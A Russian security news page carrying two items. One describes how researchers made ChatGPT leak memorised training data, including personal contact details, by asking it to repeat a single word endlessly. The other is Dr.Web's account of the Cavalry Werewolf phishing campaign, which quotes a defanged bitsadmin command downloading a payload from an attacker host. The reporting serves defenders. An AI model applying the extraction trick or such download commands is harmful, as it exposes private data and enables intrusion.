Эксперты заставили ChatGPT выдать данные обучения

Эксперты заставили ChatGPT выдать данные обучения

Эксперты заставили ChatGPT выдать данные обучения

Исследователям удалось заставить ChatGPT выдать часть данных, которые использовались для обучения. Специалисты просто предлагали чат-боту повторять слова «poem», «company», «send», «make» и «part» до бесконечности.

Как уточняют эксперты в опубликованном отчёте (PDF), когда ChatGPT попросили бесконечно повторять слово «poem», после нескольких сотен попыток бот начал генерировать бессмысленные данные, часть которых явно относилась к процессу его обучения.

Например, среди вытащенных сведений можно было найти подпись электронной почты конкретного человека, а также другую контактную информацию.

Специалисты выяснили, что некоторые слова гораздо лучше подходят для извлечения данных обучения. Например, при бесконечном повторении слова «company» ChatGPT выдаст такие сведения в 164 чаще, чем при повторении, например, слова «know».

В результате исследователям удалось вытащить персональные данные десятков пользователей, откровенный контент (при повторении аббревиатуры NSFW), абзацы книг и стихов (при использовании слов «book» и «poem»), а также уникальные URL, идентификаторы пользователей, биткоин-адреса и даже программный код.

 

«Мы смогли извлечь более 10 тыс. уникальных заученных моделей ChatGPT (версии gpt-3.5-turbo), используя всего лишь запросы на сумму 200 долларов», — объясняют специалисты.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru